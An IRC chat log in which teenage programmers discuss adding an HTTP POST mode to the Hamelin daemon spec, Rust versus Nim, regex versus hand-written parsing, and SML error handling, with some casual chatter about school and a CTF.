[2015-02-22T20:06:31-0500] <JacobEdelman> just curl
[2015-02-22T20:06:35-0500] <hardmath123> use -v when you get back
[2015-02-22T20:06:38-0500] <hardmath123> that dumps headers
[2015-02-22T20:06:55-0500] <JacobEdelman> just did
[2015-02-22T20:07:01-0500] <JacobEdelman> it got headers
[2015-02-22T20:07:12-0500] <JacobEdelman> and an empty line of 
[2015-02-22T20:07:17-0500] <JacobEdelman> *after not of
[2015-02-22T20:07:18-0500] <JacobEdelman> the headers
[2015-02-22T20:07:26-0500] <JacobEdelman> which I think is mandatory for http
[2015-02-22T20:07:28-0500] <JacobEdelman> now gtg
[2015-02-22T20:07:44-0500] <hardmath123> alright
[2015-02-22T20:08:17-0500] <hardmath123> but when you get back, why are you defining a class within a class
[2015-02-22T20:08:19-0500] <hardmath123> ?
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[2015-02-22T20:27:51-0500] <+awe> hardmath123: I'm back in MA now. :p
[2015-02-22T20:28:16-0500] <hardmath123> :)
[2015-02-22T20:28:49-0500] <+awe> I'm just happy at how warm it is today.
[2015-02-22T20:28:56-0500] <+awe> it's 30 degrees out!
[2015-02-22T20:29:02-0500] <+awe> So nice <3
[2015-02-22T20:30:07-0500] <hardmath123> it's 64 out here :P
[2015-02-22T20:40:09-0500] <+awe> It was 40 degrees-ish in New Jersey.
[2015-02-22T20:40:11-0500] <+awe> That was really nice, too.
[2015-02-22T20:48:33-0500] <+awe> hardmath123: HTTP is a bad idea for Hamelin.
[2015-02-22T20:49:03-0500] <+awe> hardmath123: Jacob misunderstood what I was telling him.
[2015-02-22T20:49:23-0500] <hardmath123> HTTP should work over POST requests.
[2015-02-22T20:49:36-0500] <+awe> That's not REALLY HTTP then.
[2015-02-22T20:49:38-0500] <+awe> It's just a POST api.
[2015-02-22T20:49:41-0500] <+awe> Which is fine.
[2015-02-22T20:49:50-0500] <+awe> But there's no way to serve pages or anything.
[2015-02-22T20:49:51-0500] <hardmath123> It is.
[2015-02-22T20:50:09-0500] <hardmath123> Hamelin seems like the wrong thing for serving pages.
[2015-02-22T20:50:15-0500] <+awe> Absolutely.
[2015-02-22T20:50:19-0500] <+awe> That's what I tried to tell him.
[2015-02-22T20:50:23-0500] <+awe> There's no way it'd make sense.
[2015-02-22T20:50:58-0500] <hardmath123> @tell JacobEdelman awe's right, hamelin makes sense for POST, not for GET.
[2015-02-22T20:50:58-0500] <+awebot> hardmath123: I'll let them know!
[2015-02-22T20:51:19-0500] <+awe> What do you imagine the operation looking like?
[2015-02-22T20:51:21-0500] <+awe> Posting to /?
[2015-02-22T20:51:29-0500] <+awe> Or passing both the data posted and the url?
[2015-02-22T20:51:57-0500] <hardmath123> send data posted to stdin. the URL can be read from an environment variable.
[2015-02-22T20:52:08-0500] <+awe> Ah. That's clever.
[2015-02-22T20:52:08-0500] <+awe> Ok.
[2015-02-22T20:52:09-0500] <+awe> I can do that.
[2015-02-22T20:52:29-0500] <hardmath123> or the URL could be a command-line argument to the daemon
[2015-02-22T20:52:51-0500] <hardmath123> $ hamelin-http localhost:8080/api my-api.py
[2015-02-22T20:52:59-0500] <hardmath123> if you don't expect them to be mutable
[2015-02-22T20:53:19-0500] <+awe> Well, a good API would do more than take post requests to api.
[2015-02-22T20:53:26-0500] <hardmath123> (i.e. you don't do RESTful /api/article/3/page/5/comment/2/user/1/ URLS)
[2015-02-22T20:53:48-0500] <+awe> Yeah, I think that'd be nicer.
[2015-02-22T21:00:46-0500] <JacobEdelman> awe, you seemed to like the idea of hamelin doing http
[2015-02-22T21:00:46-0500] <+awebot> JacobEdelman: 9 minutes ago, hardmath123 said awe's right, hamelin makes sense for POST, not for GET.
[2015-02-22T21:00:58-0500] <JacobEdelman> also, I still think having it as an option is good
[2015-02-22T21:02:02-0500] <+awe> Eh.
[2015-02-22T21:02:05-0500] <JacobEdelman> but I see the point that its not entirely what hamelin was meant for
[2015-02-22T21:02:13-0500] <JacobEdelman> but I think http esque things
[2015-02-22T21:02:17-0500] <JacobEdelman> (single serve applications)
[2015-02-22T21:02:23-0500] <JacobEdelman> are a good use 
[2015-02-22T21:02:32-0500] <JacobEdelman> and that hamelin would benefit from incorportating them
[2015-02-22T21:02:37-0500] <JacobEdelman> with little change to its specifications
[2015-02-22T21:02:39-0500] <JacobEdelman> just saying
[2015-02-22T21:03:05-0500] <+awe> No, it logistically makes no sense.
[2015-02-22T21:03:57-0500] <hardmath123> JacobEdelman: ...but that's basically CGI...
[2015-02-22T21:09:21-0500] <JacobEdelman> true, but with hamelin
[2015-02-22T21:09:28-0500] <JacobEdelman> and there are other interfaces which would be similar
[2015-02-22T21:11:10-0500] <+awe> Why do you have such a hard-on for making things that already exist, JacobEdelman?
[2015-02-22T21:11:14-0500] <+awe> First lisp, and now CGI?
[2015-02-22T21:12:36-0500] <grantwu> ubuntor: You're in TJ?
[2015-02-22T21:12:41-0500] <+ubuntor> yeah
[2015-02-22T21:12:52-0500] <hardmath123> ubuntor: were you at hmmmt?
[2015-02-22T21:12:55-0500] <+ubuntor> yeah
[2015-02-22T21:12:58-0500] <hardmath123> O_o
[2015-02-22T21:13:08-0500] <hardmath123> I might have run into you at some point.
[2015-02-22T21:13:10-0500] <hardmath123> :P
[2015-02-22T21:13:37-0500] <+ubuntor> i was the guy with the blue puffy jacket and greenish shirt at the awards ceremony
[2015-02-22T21:13:50-0500] <hardmath123> everyone had green shirts
[2015-02-22T21:13:54-0500] <hardmath123> the hmmt shirt was green
[2015-02-22T21:14:01-0500] <+ubuntor> oh, true
[2015-02-22T21:14:05-0500] <hardmath123> i was the one in a black jacket and scarf.
[2015-02-22T21:14:12-0500] <hardmath123> i made paper planes.
[2015-02-22T21:14:18-0500] <+ubuntor> lol, those planes
[2015-02-22T21:14:24-0500] <hardmath123> yeah, i started that
[2015-02-22T21:14:27-0500] <hardmath123> :P
[2015-02-22T21:14:32-0500] <grantwu> ubuntor: do you know Alice Zhang or Jocelyn Huang?
[2015-02-22T21:15:17-0500] <+ubuntor> not sure about first, i think the second
[2015-02-22T21:15:21-0500] <+ubuntor> lemme check last names
[2015-02-22T21:16:10-0500] <+ubuntor> nope, sorry
[2015-02-22T21:16:19-0500] <grantwu> ah :/
[2015-02-22T21:16:28-0500] <grantwu> Wait what year are you again
[2015-02-22T21:17:02-0500] <JacobEdelman> awe: wait, hamelin is basicly reinventing things, except with one standard interface
[2015-02-22T21:17:07-0500] <JacobEdelman> hamelin-net = netcat
[2015-02-22T21:17:22-0500] <JacobEdelman> hamelin-irc  = any irc api/command line application
[2015-02-22T21:17:31-0500] <+ubuntor> 2016
[2015-02-22T21:17:43-0500] <grantwu> Ah that's why, they were 2014.
[2015-02-22T21:17:46-0500] <hardmath123> no, hamelin-net does ssl support and proper line buffering and other stuff
[2015-02-22T21:17:54-0500] <+awe> JacobEdelman: hamelin-net /= netcat
[2015-02-22T21:17:58-0500] <hardmath123> there is no hamelin-irc equivalent
[2015-02-22T21:18:00-0500] <+awe> JacobEdelman: it's similar to one setting supported by netcat.
[2015-02-22T21:18:02-0500] <+awe> JacobEdelman: and yeah, that.
[2015-02-22T21:18:13-0500] <+ubuntor> ah, ok
[2015-02-22T21:18:29-0500] <+awe> JacobEdelman: If hamelin already existed in a way where I saw nothing interesting to add, I would've laughed at hardmath123 and never touched it. :p
[2015-02-22T21:18:50-0500] <+awe> Fill: I'm waiting on you for a version bump though.
[2015-02-22T21:18:55-0500] <+awe> Fill: I just did the prelude.
[2015-02-22T21:19:19-0500] <JacobEdelman> hardmath123: netcat has ssl
[2015-02-22T21:19:34-0500] <JacobEdelman> I think hamelin's virtue
[2015-02-22T21:19:35-0500] <+awe> First of all, no. Some weird project making something similar to netcat has SSL.
[2015-02-22T21:19:40-0500] <JacobEdelman> is that it take disparate user interfaces
[2015-02-22T21:19:42-0500] <JacobEdelman> and unifies them
[2015-02-22T21:19:46-0500] <hardmath123> JacobEdelman: no, ncat has ssl. ncat != netcat.
[2015-02-22T21:19:58-0500] <+awe> Second of all, I don't think ncat can supports hosting an SSL server.
[2015-02-22T21:20:05-0500] <+awe> s/can//
[2015-02-22T21:20:16-0500] <hardmath123> and the serve option of nc doesn't actually do things as properly as a decently-written hamelind does.
[2015-02-22T21:20:31-0500] <hardmath123> line-buffering, process management, etc. are hard.
[2015-02-22T21:20:37-0500] <hardmath123> or, at least, nontrivial.
[2015-02-22T21:22:12-0500] <JacobEdelman> I think it can
[2015-02-22T21:22:15-0500] <JacobEdelman> but I don't know
[2015-02-22T21:22:25-0500] <JacobEdelman> but okay
[2015-02-22T21:22:29-0500] <JacobEdelman> I guess that makes sense
[2015-02-22T21:22:41-0500] <JacobEdelman> still, I think hamelin-http isn't nesscarily a really bad idea...
[2015-02-22T21:22:42-0500] <JacobEdelman> I mean
[2015-02-22T21:23:24-0500] <JacobEdelman> hamelin-http localhost 8080 echo "42"
[2015-02-22T21:23:27-0500] <JacobEdelman> or something like that
[2015-02-22T21:23:31-0500] <JacobEdelman> = 42 as a service
[2015-02-22T21:23:32-0500] <JacobEdelman> I mean
[2015-02-22T21:23:35-0500] <JacobEdelman> its the future :P
[2015-02-22T21:23:47-0500] <+awe> But it doesn't make sense for 99% of things.
[2015-02-22T21:23:53-0500] <JacobEdelman> (I'll add some interactive feature for http maybe)
[2015-02-22T21:24:05-0500] <JacobEdelman> 42as a service is not worth it
[2015-02-22T21:24:36-0500] <hardmath123> it'll train on HN though
[2015-02-22T21:24:43-0500] <hardmath123>      *trend
[2015-02-22T21:28:15-0500] <+awe> I've written roughly 11,000 lines of IRC-related Rust.
[2015-02-22T21:28:26-0500] <+awe> Excluding comments.
[2015-02-22T21:31:04-0500] <+awe> hardmath123: should I make the POST thing?
[2015-02-22T21:32:08-0500] <hardmath123> awe: sure. you do realize you don't need my permission to write an implementation of a public specification, right? :P
[2015-02-22T21:32:15-0500] <+awe> I wasn't asking for permission.
[2015-02-22T21:32:21-0500] <+awe> I was asking for whether or not you think it should exist.
[2015-02-22T21:32:38-0500] <hardmath123> I think it should exist.
[2015-02-22T21:32:43-0500] <hardmath123> That's why I wrote the spec.
[2015-02-22T21:34:08-0500] <+awe> So that there would be a POST implementation?
[2015-02-22T21:36:25-0500] <hardmath123> *so that there would be multiple POST implementations.
[2015-02-22T21:36:40-0500] <+awe> Lol.
[2015-02-22T21:37:13-0500] <+awe> I'ma publish my markov chain as a service thing, I think.
[2015-02-22T21:37:15-0500] <+awe> Maybe.
[2015-02-22T21:37:16-0500] <+awe> I dunno.
[2015-02-22T21:37:37-0500] <+awe> It's a complete joke.
[2015-02-22T21:40:30-0500] <hardmath123> whoops the robotics team application is due tomorrow
[2015-02-22T21:40:38-0500] <hardmath123> i totally forgot
[2015-02-22T21:47:08-0500] <JacobEdelman> awe: something like that? I was still thinking multiple Gets would go to the stdin
[2015-02-22T21:47:18-0500] <JacobEdelman> and each time the reply would be something from stdout
[2015-02-22T21:52:05-0500] <+awe> Well, I'm making the POST one, I guess.
[2015-02-22T21:53:07-0500] <JacobEdelman> okay be me
[2015-02-22T21:53:11-0500] <JacobEdelman> how does it give output?
[2015-02-22T21:53:17-0500] <JacobEdelman> *by
[2015-02-22T21:53:50-0500] <hardmath123> stdout?
[2015-02-22T21:55:43-0500] <JacobEdelman> no I mean
[2015-02-22T21:55:48-0500] <JacobEdelman> where does the output go?
[2015-02-22T21:55:53-0500] <hardmath123> to the POST response?
[2015-02-22T22:09:27-0500] <LittleBobbyTables> wait
[2015-02-22T22:09:31-0500] <LittleBobbyTables> isn't there a ctf going on now
[2015-02-22T22:09:36-0500] <+alokpathy> sCTF
[2015-02-22T22:09:40-0500] <+alokpathy> yeah.
[2015-02-22T22:10:51-0500] <hardmath123> weren't they ddos'd or something?
[2015-02-22T22:11:24-0500] <LittleBobbyTables> it wasnt me this time
[2015-02-22T22:11:39-0500] <hardmath123> "this time"
[2015-02-22T22:13:56-0500] <LittleBobbyTables> whats the irc
[2015-02-22T22:14:15-0500] <+alokpathy> hardmath123: They were, yeah.
[2015-02-22T22:14:17-0500] <LittleBobbyTables> ohwait
[2015-02-22T22:14:22-0500] <+alokpathy> LittleBobbyTables: sCTF_oline I think
[2015-02-22T22:14:24-0500] <LittleBobbyTables> i forgot to get the survey key at the end of the survey
[2015-02-22T22:14:24-0500] <+alokpathy> on mibbit
[2015-02-22T22:14:24-0500] <LittleBobbyTables> lel
[2015-02-22T22:14:35-0500] <+alokpathy> Wait, no
[2015-02-22T22:14:37-0500] <+alokpathy> it's
[2015-02-22T22:14:39-0500] <+alokpathy> sCTF_ochat
[2015-02-22T22:14:41-0500] <+alokpathy> on mibbit
[2015-02-22T22:23:46-0500] <LittleBobbyTables> so googling aGFtcHduZXIz (the title of one of the problems) has a funny google suggestion...
[2015-02-22T22:26:05-0500] <+awe> hardmath123: easiest way to post something to a page?
[2015-02-22T22:30:56-0500] <+awe> Ok, I got it.
[2015-02-22T22:33:47-0500] <hardmath123> this robotics team application is really annoying
[2015-02-22T22:33:50-0500] <hardmath123> i feel like not doing it
[2015-02-22T22:34:50-0500] <+alokpathy> hardmath123: That's always an option :P
[2015-02-22T22:36:53-0500] <grantwu> .-. Why is life so hard
[2015-02-22T22:37:06-0500] <grantwu> Alok are you doing PACT again
[2015-02-22T22:40:17-0500] <grantwu> alokpathy
[2015-02-22T22:41:48-0500] <hardmath123> gahhh the 'creativity challenge' is so lame
[2015-02-22T22:41:55-0500] • hardmath123: gives up
[2015-02-22T22:43:44-0500] <+awe> hardmath123: https://github.com/aatxe/hamelin.rs/blob/master/src/bin/http.rs
[2015-02-22T22:45:24-0500] <hardmath123> awe: :D
[2015-02-22T22:45:29-0500] • grantwu: gives up on life
[2015-02-22T22:46:11-0500] <+awe> hardmath123: also made some improvements to IRC
[2015-02-22T22:46:12-0500] <+awe> hardmath123: https://github.com/aatxe/hamelin.rs/blob/master/src/bin/irc.rs#L59
[2015-02-22T22:46:40-0500] <+awe> hardmath123: H-CLIENT now has something like: ircs://irc.pdgn.co:6697/#pdgn in it.
[2015-02-22T22:47:34-0500] <hardmath123> ircs <=> secure?
[2015-02-22T22:47:37-0500] <+awe> Yup.
[2015-02-22T22:47:44-0500] <hardmath123> is that standard?
[2015-02-22T22:47:47-0500] <+awe> Yup.
[2015-02-22T22:47:52-0500] <hardmath123> i've never seen that before, even for secure channels.
[2015-02-22T22:47:54-0500] <hardmath123> hmm
[2015-02-22T22:47:56-0500] <hardmath123> ok
[2015-02-22T22:48:06-0500] <+awe> Well, it's not defined in the RFCs because the link protocol isn't defined there.
[2015-02-22T22:48:14-0500] <hardmath123> right
[2015-02-22T22:48:19-0500] <+awe> But every client that supports the link protocol supports ircs as meaning SSL.
[2015-02-22T22:50:10-0500] <+awe> At least, AFAIK.
[2015-02-22T22:51:19-0500] <+awe> hardmath123: the http thing is sort of clunky though.
[2015-02-22T22:51:38-0500] <+awe> hardmath123: it has to wait 100ms to give some time to do a bit of processing before it starts writing the response.
[2015-02-22T22:52:04-0500] <hardmath123> what?
[2015-02-22T22:52:06-0500] <hardmath123> why?
[2015-02-22T22:52:26-0500] <+awe> Well.
[2015-02-22T22:52:30-0500] <+awe> There's only a few approaches here.
[2015-02-22T22:54:49-0500] <+awe> hardmath123: The way I see it you can either wait until the program finishes executing, do some sort of timeout, or do what I'm doing.
[2015-02-22T22:55:11-0500] <+awe> hardmath123: the first approach is useless for applications that don't exit (e.g. cat or grep)
[2015-02-22T22:55:31-0500] <+awe> hardmath123: the latter two approaches are both fine, the third one was the easiest to implement.
[2015-02-22T22:55:34-0500] <+awe> hardmath123: I can totally do a timeout though.
[2015-02-22T22:56:08-0500] <+awe> hardmath123: that is, have it keep trying until either it's been 100ms (or 50ms?) without writing anything or the program exits.
[2015-02-22T22:57:09-0500] <hardmath123> but you send it EOF right?
[2015-02-22T22:57:24-0500] <+awe> No.
[2015-02-22T22:57:26-0500] <+awe> That's interesting.
[2015-02-22T22:57:28-0500] <hardmath123> like if I POST the string "cat\ndog\n"
[2015-02-22T22:57:34-0500] <+awe> send that and then EOF?
[2015-02-22T22:57:36-0500] <hardmath123> it should send it "cat\ndog\n"
[2015-02-22T22:57:45-0500] <hardmath123> and then EOF by closing the pipe
[2015-02-22T22:58:08-0500] <+awe> I mean, I can just write unicode 4.
[2015-02-22T22:58:32-0500] <hardmath123> that actually has inconsistent results for me
[2015-02-22T22:58:40-0500] <hardmath123> unicode?
[2015-02-22T22:58:52-0500] <+awe> Well, ascii.
[2015-02-22T22:59:14-0500] <hardmath123> yeah, i'm not sure that's how it works
[2015-02-22T22:59:46-0500] <hardmath123> ascii 4 == ^D, but that's because ^D is intercepted by your terminal
[2015-02-22T22:59:58-0500] <hardmath123> like, writing ascii 3 won't send SIGTERM
[2015-02-22T23:00:04-0500] <hardmath123> just because it's ^C
[2015-02-22T23:00:09-0500] <+awe> Well, yeah, I can just send SIGKILL.
[2015-02-22T23:00:17-0500] <hardmath123> wait what
[2015-02-22T23:00:19-0500] <hardmath123> don't do that
[2015-02-22T23:00:30-0500] <+awe> I don't really have a way of closing the pipe.
[2015-02-22T23:00:39-0500] <hardmath123> Rust doesn't let you close pipes?
[2015-02-22T23:00:41-0500] <hardmath123> fclose?
[2015-02-22T23:00:51-0500] <+awe> I can probably do it in some round-about way.
[2015-02-22T23:01:06-0500] <+awe> I don't know though because I don't have ownership over the pipe.
[2015-02-22T23:01:25-0500] <hardmath123> http://stackoverflow.com/a/23965824/3053429 ?
[2015-02-22T23:02:20-0500] <hardmath123> umm your hamelin module should provide an eof() primitive
[2015-02-22T23:02:55-0500] <+awe> The pipe is owned by the process.
[2015-02-22T23:03:11-0500] <hardmath123> which process?
[2015-02-22T23:03:14-0500] <hardmath123> the daemon?
[2015-02-22T23:03:31-0500] <+awe> The Process representing the server.
[2015-02-22T23:03:55-0500] <+awe> I might be able to do it with libc.
[2015-02-22T23:04:01-0500] <+awe> or with nix?
[2015-02-22T23:04:19-0500] <+awe> Yeah.
[2015-02-22T23:04:21-0500] <+awe> I can do it with nix.
[2015-02-22T23:05:38-0500] <hardmath123> guard.process.stdin
[2015-02-22T23:05:49-0500] <hardmath123> isn't this a streamey thing?
[2015-02-22T23:06:02-0500] <hardmath123> (i don't speak rust, so i may be totally wrong)
[2015-02-22T23:08:23-0500] <+awe> Yes.
[2015-02-22T23:08:24-0500] <+awe> It is.
[2015-02-22T23:08:29-0500] <+awe> It's a PipeReader.
[2015-02-22T23:08:34-0500] <+awe> Or PipeWriter.
[2015-02-22T23:08:40-0500] <+awe> Anyway, I wrote something to send EOF.
[2015-02-22T23:11:52-0500] <hardmath123> https://andreaferretti.github.io/on-rust-and-nim/ << JacobEdelman vs. awe 
[2015-02-22T23:11:59-0500] <+awe> I've read it.
[2015-02-22T23:12:01-0500] <+awe> The guy knows nothing about Rust.
[2015-02-22T23:12:10-0500] <+awe> Makes it a lame argument.
[2015-02-22T23:12:33-0500] <+awe> The Rust code he wrote was basically C.
[2015-02-22T23:14:50-0500] <+awe> hardmath123: and some of his complaints are just about the fact that things that were in the standard library were bad.
[2015-02-22T23:14:59-0500] <+awe> But they removed those things because they were bad and they want people to make better solutions.
[2015-02-22T23:15:35-0500] <+awe> hardmath123: okay, the HTTP one sends eof now.
[2015-02-22T23:15:55-0500] <+awe> hardmath123: https://github.com/aatxe/hamelin.rs/blob/master/src/lib.rs#L88
[2015-02-22T23:16:33-0500] <+awe> His complaint about Rust being somewhat verbose is valid, but that's sort of by design.
[2015-02-22T23:18:35-0500] <+awe> But it's not as verbose as he makes it out to be.
[2015-02-22T23:18:56-0500] <LittleBobbyTables> awe, did you hear about Python getting static typing?
[2015-02-22T23:19:05-0500] <+awe> If you compare the code he wrote that isn't related to implementing Point stuff, it's roughly the same length.
[2015-02-22T23:19:32-0500] <+awe> The only thing that's noticeably longer is the implementation of addition, subtraction, etc. because it's implemented as any-ole-function (with dynamic dispatch) in Nim
[2015-02-22T23:19:38-0500] <+awe> but has to use traits (and thus have static dispatch) in Rust.
[2015-02-22T23:20:41-0500] <+awe> The fact that Nim doesn't support any sort of system for safety when you opt into the manual memory management is shitty, but he makes it out like it's not important.
[2015-02-22T23:22:02-0500] <+awe> And one of his biggest complaints is "It's hard to learn about lifetimes."
[2015-02-22T23:22:09-0500] <+awe> And I personally refuse to accept that as an argument about a language's merit.
[2015-02-22T23:22:24-0500] <+awe> You can value it a lot, but I'm not so interested in how easy it is to learn a language.
[2015-02-22T23:22:28-0500] <hardmath123> god there's like 5 square inches of empty space on my desk
[2015-02-22T23:22:44-0500] <+awe> If I was evaluating a beginner's language, I'd say no to Rust hands down.
[2015-02-22T23:22:52-0500] <+awe> But that's not what Rust is.
[2015-02-22T23:22:58-0500] <+awe> And so, I think it's a moot point.
[2015-02-22T23:23:35-0500] <grantwu> awe what are you planning to do this summer?
[2015-02-22T23:23:37-0500] <grantwu> Out of curiosity
[2015-02-22T23:23:57-0500] <+awe> I may or may not spend a month in Seattle on Microsoft's dime with my startup.
[2015-02-22T23:24:04-0500] <grantwu> :O nice
[2015-02-22T23:24:14-0500] <grantwu> What's your startup?
[2015-02-22T23:24:39-0500] <+awe> I will almost definitely spend ten weeks at my school working with the head of graduate admissions for UMass CS and the head researcher of both programming language research groups on my campus.
[2015-02-22T23:24:59-0500] <+awe> I work at a financial services/technology startup.
[2015-02-22T23:25:37-0500] <grantwu> nais
[2015-02-22T23:26:07-0500] <LittleBobbyTables> grantwu: your cousin is streaming right now. Ben Wu
[2015-02-22T23:26:10-0500] <LittleBobbyTables> twitch.tv/merlinidota
[2015-02-22T23:26:16-0500] <grantwu> ...
[2015-02-22T23:26:58-0500] <+awe> hardmath123: also, his documentation complaints have all been worked out.
[2015-02-22T23:27:25-0500] <+awe> hardmath123: he didn't read any of the documentation about cargo, and therefore thinks that it requires a byzantine structure to distinguish between lib and executable
[2015-02-22T23:28:46-0500] <+awe> hardmath123: also, he fails to mention that the Rust version runs 3x faster than the python one compiled with pypy and 64x faster than it interpreted.
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[2015-02-22T23:35:52-0500] <+awe> hardmath123: and his results (claiming Nim as just narrowly the fastest) seem a bit fishy because a Rust dev on a slower computer got slower results on pypy and python, but a rather substantial amount faster on the Rust one.
[2015-02-22T23:37:00-0500] <+awe> Even still, Rust is 16x faster than JS.
[2015-02-22T23:37:17-0500] <grantwu> xD
[2015-02-22T23:37:26-0500] <grantwu> Have you seen the benchmark where JS is faster than C at regex
[2015-02-22T23:37:42-0500] <+awe> regex is trash.
[2015-02-22T23:37:47-0500] <grantwu> ?
[2015-02-22T23:38:05-0500] <+awe> You shouldn't write regex in production code anyway.
[2015-02-22T23:38:15-0500] <hardmath123> awe is a regex hater.
[2015-02-22T23:38:21-0500] <grantwu> ...
[2015-02-22T23:38:38-0500] <+awe> It's useful for like...
[2015-02-22T23:38:38-0500] <+awe> sed.
[2015-02-22T23:38:42-0500] <grantwu> Well... what's his alternative...
[2015-02-22T23:38:45-0500] <+awe> ...
[2015-02-22T23:38:46-0500] <+awe> Parsing?
[2015-02-22T23:39:25-0500] <grantwu> That's a little... overkill sometimes, is it not?
[2015-02-22T23:39:49-0500] <+awe> For what?
[2015-02-22T23:39:59-0500] <+awe> When is it overkill?
[2015-02-22T23:40:07-0500] <grantwu> Idk, I guess the canoncial example is trying to find email addresses
[2015-02-22T23:40:12-0500] <grantwu> *canonical
[2015-02-22T23:40:26-0500] <+awe> search for an @ and a period after the .
[2015-02-22T23:40:27-0500] <+awe> you're done.
[2015-02-22T23:40:45-0500] <grantwu> Isn't that just a regex...?
[2015-02-22T23:40:59-0500] <+awe> Or it's one line of string slicing code.
[2015-02-22T23:41:05-0500] <+awe> And that one won't be an assault on your eyes.
[2015-02-22T23:41:09-0500] <+awe> And will probably be faster.
[2015-02-22T23:41:32-0500] <+awe> https://github.com/aatxe/irc/blob/master/src/client/data/message.rs#L76
[2015-02-22T23:42:35-0500] <+awe> https://github.com/aatxe/irc/blob/0ad276fdaeb502b497fb44a0b062c7cf549b7e4a/src/lib.rs#L34
[2015-02-22T23:43:34-0500] <+awe> I find the former to be significantly more robust.
[2015-02-22T23:43:55-0500] <grantwu> I have absolutely no idea what either does.
[2015-02-22T23:44:04-0500] <grantwu> Although I infer that they should do the same ting.
[2015-02-22T23:44:05-0500] <+awe> They both parse an IRC message.
[2015-02-22T23:44:08-0500] <+awe> They do the same thing, yes.
[2015-02-22T23:44:53-0500] <+awe> Though, I will say that there's more functionality in the slicing-based one.
[2015-02-22T23:45:02-0500] <+awe> It separates the suffix from the arguments, whereas the latter one does not.
[2015-02-22T23:45:49-0500] <+awe> You could cut out eight-or-so lines of code if you removed that functionality.
[2015-02-22T23:47:56-0500] <+awe> I find the slicing code significantly easier to follow.
[2015-02-22T23:48:47-0500] <grantwu> er... okay
[2015-02-22T23:49:00-0500] <grantwu> I think I have nerdsniped myself, and hw isn't going to do itself
[2015-02-22T23:49:14-0500] <+awe> Probably.
[2015-02-22T23:49:39-0500] <+awe> My main gripes with regex are that it's goal is to be easily written, not easily read, and that it's not performant.
[2015-02-22T23:50:16-0500] <grantwu> depends on your engine I guess...
[2015-02-22T23:50:51-0500] <grantwu> goes back to JS beating C... Chrome's engine is great, whatever C library the benchmark was using less so
[2015-02-22T23:52:36-0500] <+awe> Well, sure, because in JS, the goal is to write trash code that uses lots of regex.
[2015-02-22T23:52:41-0500] <+awe> In C, it's not.
[2015-02-22T23:52:48-0500] <+awe> Plus, they probably just made poor choice in library.
[2015-02-22T23:56:02-0500] <+awe> For the record, my characterization of JS there was a purposeful exaggeration for rhetorical purposes.
[2015-02-23T00:02:10-0500] <+awe> grantwu: and regardless of your regex engine, regex is still designed to be easy to write, not easy to read.
[2015-02-23T00:05:30-0500] <+awe> grantwu: and I'd pick code that's easy to read over code that's easy to write 100% of the time.
[2015-02-23T00:07:59-0500] <grantwu> aww great my SML doesn't work
[2015-02-23T00:09:33-0500] <grantwu> oh wait
[2015-02-23T00:09:42-0500] <grantwu> This test case is supposed to fail
[2015-02-23T00:09:45-0500] <grantwu> ahahhahahhahhahahahahahahaa lol.
[2015-02-23T00:11:48-0500] <+awe> grantwu: no way to mark that the test is supposed to fail?
[2015-02-23T00:12:05-0500] <grantwu> uh
[2015-02-23T00:12:15-0500] <grantwu> Well I thought it was supposed to pass, but it was actually suppose to fail.
[2015-02-23T00:12:22-0500] <grantwu> That's why I was getting assertion errors.
[2015-02-23T00:12:43-0500] <grantwu> As for actually catching the exception, I don't know.  We haven't been taught to use the imperative features of SML.
[2015-02-23T00:13:00-0500] <+awe> That's not what I meant.
[2015-02-23T00:13:03-0500] <+awe> I meant like...
[2015-02-23T00:13:13-0500] <+awe> Rust has test cases where you can mark that the expectation is that they'll crash.
[2015-02-23T00:13:16-0500] <+awe> Well, panic.
[2015-02-23T00:13:26-0500] <+awe> That way you can test that things panic during the correct edge cases.
[2015-02-23T00:13:38-0500] <+awe> You mark it by preceding a test with #[should_fail]
[2015-02-23T00:13:48-0500] <grantwu> The edge case should never have be reached by correct code.
[2015-02-23T00:13:55-0500] <grantwu> *should never be reached
[2015-02-23T00:14:02-0500] <+awe> Rust is impure.
[2015-02-23T00:14:29-0500] <grantwu> I see... we're being taught to use the pure constructs of SML only
[2015-02-23T00:14:37-0500] <+awe> Yeah, that makes sense.
[2015-02-23T00:14:44-0500] <+awe> So, by error, you mean that you have something like
[2015-02-23T00:14:53-0500] <+awe> Result T Error
[2015-02-23T00:14:54-0500] <+awe> Right?
[2015-02-23T00:14:56-0500] <grantwu> raise Fail "Grant is a failure!"
[2015-02-23T00:15:11-0500] <+awe> Wait, SML has an exception system?
[2015-02-23T00:15:12-0500] <+awe> Gross.
[2015-02-23T00:15:35-0500] <grantwu> Yes it does, but we don't use it except to make the compiler be quiet about nonexhaustive match
[2015-02-23T00:15:49-0500] <grantwu> When we're writing a function known to be partial
[2015-02-23T00:15:58-0500] <+awe> Yeah, there's an error function in Haskell for that.
[2015-02-23T00:16:08-0500] <+awe> But it's basically just panicking.
[2015-02-23T00:16:15-0500] <+awe> It doesn't "raise" anything.
[2015-02-23T00:16:18-0500] <+awe> It just panics.
[2015-02-23T00:16:30-0500] <grantwu> I think "raise Fail" is a panic
[2015-02-23T00:16:45-0500] <grantwu> raise of something else might be a non-panicking exception
[2015-02-23T00:16:46-0500] <+awe> But you can raise other error types, theoretically, right?
[2015-02-23T00:16:48-0500] <+awe> Yeah.
[2015-02-23T00:16:52-0500] <+awe> That's gross.
[2015-02-23T00:16:56-0500] <+awe> No reason for it.
[2015-02-23T00:17:00-0500] <grantwu> ai ya
[2015-02-23T00:17:04-0500] <+awe> I'd imagine there's some sort of result type.
[2015-02-23T00:17:08-0500] <+awe> Or an either type.
[2015-02-23T00:17:10-0500] <+awe> Either A B
[2015-02-23T00:17:22-0500] <+awe> And then you use one of them as the error type and one of them as the result type.
[2015-02-23T00:17:35-0500] <+awe> For something like parsing, for example.
[2015-02-23T00:17:40-0500] <+awe> Where the input might not be valid.
[2015-02-23T00:17:42-0500] <grantwu> We have... option types?
[2015-02-23T00:17:56-0500] <+awe> What if you want to provide more detail about why it failed?
[2015-02-23T00:18:08-0500] <grantwu> You should... define your own datatype?
[2015-02-23T00:18:16-0500] <grantwu> I'm not sure.  I'm no SML expert.
[2015-02-23T00:18:22-0500] <grantwu> Maybe there's a more elegant way of doing this.
[2015-02-23T00:18:34-0500] <+awe> I'd hope there's something like Haskell's Either or Rust's Result.
[2015-02-23T00:18:55-0500] <+awe> It's nice to have an idiomatic way to represent detailed failure.
[2015-02-23T00:18:56-0500] <grantwu> SML doesn't have an either type afaik
[2015-02-23T00:19:13-0500] <grantwu> http://stackoverflow.com/questions/810409/haskell-or-standard-ml-for-beginners
[2015-02-23T00:19:21-0500] <grantwu> CTRL-F for "either"
